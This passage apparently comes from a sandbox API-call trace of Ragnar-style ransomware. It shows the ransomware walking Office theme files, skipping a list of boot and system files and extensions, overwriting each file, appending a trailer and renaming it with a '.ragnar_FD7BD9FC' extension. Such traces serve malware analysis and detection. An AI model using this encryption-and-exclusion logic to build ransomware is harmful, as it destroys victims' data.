nNumberOfBytesToRead=0x18c11, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x18c11, lpOverlapped=0x0) returned 1 [0094.583] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.583] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18c11, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.583] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x18c11, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x18c11, lpOverlapped=0x0) returned 1 [0094.584] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18c11, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.584] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.584] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x18c11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.585] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.585] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.585] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.585] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.585] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.585] GetProcessHeap () returned 0x580000 [0094.585] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.585] CloseHandle (hObject=0x98) returned 1 [0094.585] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" [0094.585] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.ragnar_FD7BD9FC" [0094.585] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.586] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1 [0094.586] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.586] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Clarity.thmx" | out: lpString1="Clarity.thmx") returned="Clarity.thmx" [0094.586] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx") returned=".thmx" [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="autorun.inf") returned 1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="boot.ini") returned 1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="bootfont.bin") returned 1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="bootsect.bak") returned 1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="bootmgr") returned 1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="bootmgr.efi") returned 1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="bootmgfw.efi") returned 1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="desktop.ini") returned -1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="iconcache.db") returned -1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="ntldr") returned -1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="ntuser.dat") returned -1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="ntuser.dat.log") returned -1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="ntuser.ini") returned -1 [0094.587] lstrcmpiW (lpString1="Clarity.thmx", lpString2="thumbs.db") returned -1 [0094.587] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.587] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.587] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.587] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.587] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.587] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.587] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx")) returned 0x20 [0094.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.588] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=67060) returned 1 [0094.588] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x105eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.588] GetProcessHeap () returned 0x580000 [0094.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.588] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.590] VirtualAlloc (lpAddress=0x0, dwSize=0x105f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.590] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.590] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.590] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x105f4, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x105f4, lpOverlapped=0x0) returned 1 [0094.592] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.592] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x105f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.592] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x105f4, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x105f4, lpOverlapped=0x0) returned 1 [0094.592] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x105f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.592] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.593] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x105f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.593] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.593] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.593] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.593] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.593] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.593] GetProcessHeap () returned 0x580000 [0094.593] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.593] CloseHandle (hObject=0x98) returned 1 [0094.593] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" [0094.593] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.ragnar_FD7BD9FC" [0094.593] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.594] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1 [0094.594] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.595] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Composite.thmx" | out: lpString1="Composite.thmx") returned="Composite.thmx" [0094.595] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx") returned=".thmx" [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="autorun.inf") returned 1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="boot.ini") returned 1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="bootfont.bin") returned 1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="bootsect.bak") returned 1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="bootmgr") returned 1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="bootmgr.efi") returned 1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="bootmgfw.efi") returned 1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="desktop.ini") returned -1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="iconcache.db") returned -1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="ntldr") returned -1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="ntuser.dat") returned -1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="ntuser.dat.log") returned -1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="ntuser.ini") returned -1 [0094.595] lstrcmpiW (lpString1="Composite.thmx", lpString2="thumbs.db") returned -1 [0094.595] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.595] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.595] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.595] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.595] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.595] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.595] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx")) returned 0x20 [0094.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.596] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=568653) returned 1 [0094.596] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x8ad44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.596] GetProcessHeap () returned 0x580000 [0094.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.596] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.599] VirtualAlloc (lpAddress=0x0, dwSize=0x8ad4d, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0094.600] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.600] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.600] ReadFile (in: hFile=0x98, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x8ad4d, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1eba0c*=0x8ad4d, lpOverlapped=0x0) returned 1 [0094.611] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.614] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ad4d, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.614] WriteFile (in: hFile=0x98, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x8ad4d, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1eba08*=0x8ad4d, lpOverlapped=0x0) returned 1 [0094.616] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ad4d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.616] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.618] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x8ad4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.619] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.619] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.619] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.619] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.619] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.619] GetProcessHeap () returned 0x580000 [0094.619] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.619] CloseHandle (hObject=0x98) returned 1 [0094.619] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" [0094.619] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.ragnar_FD7BD9FC" [0094.619] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.620] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1 [0094.620] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.620] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Concourse.thmx" | out: lpString1="Concourse.thmx") returned="Concourse.thmx" [0094.620] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx") returned=".thmx" [0094.620] lstrcmpiW (lpString1="Concourse.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.620] lstrcmpiW (lpString1="Concourse.thmx", lpString2="autorun.inf") returned 1 [0094.620] lstrcmpiW (lpString1="Concourse.thmx", lpString2="boot.ini") returned 1 [0094.620] lstrcmpiW (lpString1="Concourse.thmx", lpString2="bootfont.bin") returned 1 [0094.620] lstrcmpiW (lpString1="Concourse.thmx", lpString2="bootsect.bak") returned 1 [0094.621] lstrcmpiW (lpString1="Concourse.thmx", lpString2="bootmgr") returned 1 [0094.621] lstrcmpiW (lpString1="Concourse.thmx", lpString2="bootmgr.efi") returned 1 [0094.621] lstrcmpiW (lpString1="Concourse.thmx", lpString2="bootmgfw.efi") returned 1 [0094.621] lstrcmpiW (lpString1="Concourse.thmx", lpString2="desktop.ini") returned -1 [0094.621] lstrcmpiW (lpString1="Concourse.thmx", lpString2="iconcache.db") returned -1 [0094.621] lstrcmpiW (lpString1="Concourse.thmx", lpString2="ntldr") returned -1 [0094.621] lstrcmpiW (lpString1="Concourse.thmx", lpString2="ntuser.dat") returned -1 [0094.621] lstrcmpiW (lpString1="Concourse.thmx", lpString2="ntuser.dat.log") returned -1 [0094.621] lstrcmpiW (lpString1="Concourse.thmx", lpString2="ntuser.ini") returned -1 [0094.621] lstrcmpiW (lpString1="Concourse.thmx", lpString2="thumbs.db") returned -1 [0094.621] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.621] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.621] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.621] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.621] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.621] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.621] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx")) returned 0x20 [0094.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.622] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=74765) returned 1 [0094.622] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x12404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.622] GetProcessHeap () returned 0x580000 [0094.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.622] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.626] VirtualAlloc (lpAddress=0x0, dwSize=0x1240d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.626] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.626] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.627] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1240d, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x1240d, lpOverlapped=0x0) returned 1 [0094.629] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.629] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1240d, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.629] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1240d, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x1240d, lpOverlapped=0x0) returned 1 [0094.630] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1240d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.630] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.630] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1240d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.630] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.630] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.630] WriteFile (in: hFile=0x98, 